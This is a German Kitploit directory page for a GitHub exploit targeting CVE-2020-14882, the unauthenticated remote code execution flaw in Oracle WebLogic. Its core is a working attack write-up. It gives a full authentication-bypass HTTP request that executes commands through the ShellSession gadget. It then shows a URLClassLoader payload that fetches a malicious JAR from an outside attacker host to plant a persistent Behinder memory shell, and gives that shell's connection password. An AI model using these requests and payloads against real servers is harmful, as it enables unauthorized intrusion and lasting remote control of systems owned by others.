Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/kk98kk0/cve-2020-14882
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed TeamingPayload-Entwicklung
GitHubkk98kk0/cve-2020-14882

CVE-2020-14882

Exploit für CVE-2020-14882 (nicht authentifizierte RCE in WebLogic) mit Deployment einer Memory-Shell über URLClassLoader und ShellSession-Gadget, das Remote-Befehlsausführung und dauerhaften Zugriff ermöglicht.

Repository anzeigen
321vor 5 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2020-14882 – Bereitstellung einer Memory-Shell (Beichen)

Bekanntlich ist CVE-2020-14882 eine Schwachstelle ohne Authentifizierung, mit der ein Angreifer beliebigen Code auf betroffenen WebLogic-Servern ausführen kann. In den öffentlich verfügbaren PoCs wird über illegale Zeichen der Zugriff umgangen und dann über ein Gadget die Befehlsausführung aufgerufen. In realen Szenarien und bei Red-Team-Angriffen reicht die bloße Befehlsausführung jedoch bei weitem nicht aus. Daher ist es besonders wichtig, diese Schwachstelle ohne Authentifizierung für die weitere Bereitstellung einer Memory-Shell zu nutzen.

Analysen der Schwachstelle gibt es im Internet zuhauf – es handelt sich im Wesentlichen um ein Problem der doppelten Kodierung. Der öffentlich verfügbare PoC zur Codeausführung sieht wie folgt aus:

root@kitploit:~
POST /console/images/%252e%252e/console.portal HTTP/1.1
Host: 192.168.137.129:7001
cmd: whoami
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.137.129:7001/console/login/LoginForm.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=bVc4ldVQMjOVUU4Ch2gfrbdjJzOseetqLr98eCB-_a-1KoUGzBLm!2048667864; ADMINCONSOLESESSION=6KHjgTjHTJphTvmMmpSd6L1c1gmnwwD1nnjT2J5p6JrrhvxHjChb!355090686
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1182

_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.WorkAdapter+adapter+%3d+((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()%3b+java.lang.reflect.Field+field+%3d+adapter.getClass().getDeclaredField("connectionHandler")%3bfield.setAccessible(true)%3bObject+obj+%3d+field.get(adapter)%3bweblogic.servlet.internal.ServletRequestImpl+req+%3d+(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj)%3b+String+cmd+%3d+req.getHeader("cmd")%3bString[]+cmds+%3d+System.getProperty("os.name").toLowerCase().contains("window")+%3f+new+String[]{"cmd.exe",+"/c",+cmd}+%3a+new+String[]{"/bin/sh",+"-c",+cmd}%3bif(cmd+!%3d+null+){+String+result+%3d+new+java.util.Scanner(new+java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next()%3b+weblogic.servlet.internal.ServletResponseImpl+res+%3d+(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req)%3b+res.getServletOutputStream().writeStream(new+weblogic.xml.util.StringInputStream(result))%3bres.getServletOutputStream().flush()%3bres.getWriter().write("")%3b}')

Derzeit ist ein Echo nur in WebLogic 12.2.1 und höher möglich, da in 10.3.6 die entsprechende Klasse nicht vorhanden ist. Man erkennt, dass diese Version das Gadget com.tangosol.coherence.mvel2.sh.ShellSession zur Ausführung beliebigen Codes nutzt.

Daher kann man java.net.URLClassLoader verwenden, um eine bösartige Klasse zu laden und so eine Memory-Shell zu injizieren. URLClassLoader ist eine Implementierung von ClassLoader, die sowohl lokale Binärdateien als auch entfernte Klassen laden kann.

Memory-Shell von Beichen (冰蝎) für WebLogic

image.png

JAR-Datei erstellen image.png

Anschließend wird über das Gadget com.tangosol.coherence.mvel2.sh.ShellSession der URLClassLoader aufgerufen, um die Klasse remote zu laden. Der Code lautet:

root@kitploit:~
com.tangosol.coherence.mvel2.sh.ShellSession("java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.86.5:6543/cc.jar")});u.loadClass("org.chabug.memshell.InjectFilterShell").newInstance(); u.close();");

Vollständiger Exploit:

root@kitploit:~
GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.net.URLClassLoader u = new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://192.168.86.5:6543/cc.jar")});u.loadClass("org.chabug.memshell.InjectFilterShell").newInstance(); u.close();"); HTTP/1.1
Host: 192.168.100.120:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate1
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0


image.png image.png

Das Verbindungspasswort für Beichen (冰蝎) lautet: rebeyond

image.png

Hinweis: Die Standardversion von Beichen (冰蝎) unterstützt keine Memory-Shells.

Referenzen

https://xz.aliyun.com/t/8202

https://www.cnblogs.com/potatsoSec/p/13895120.html

Tool herunterladen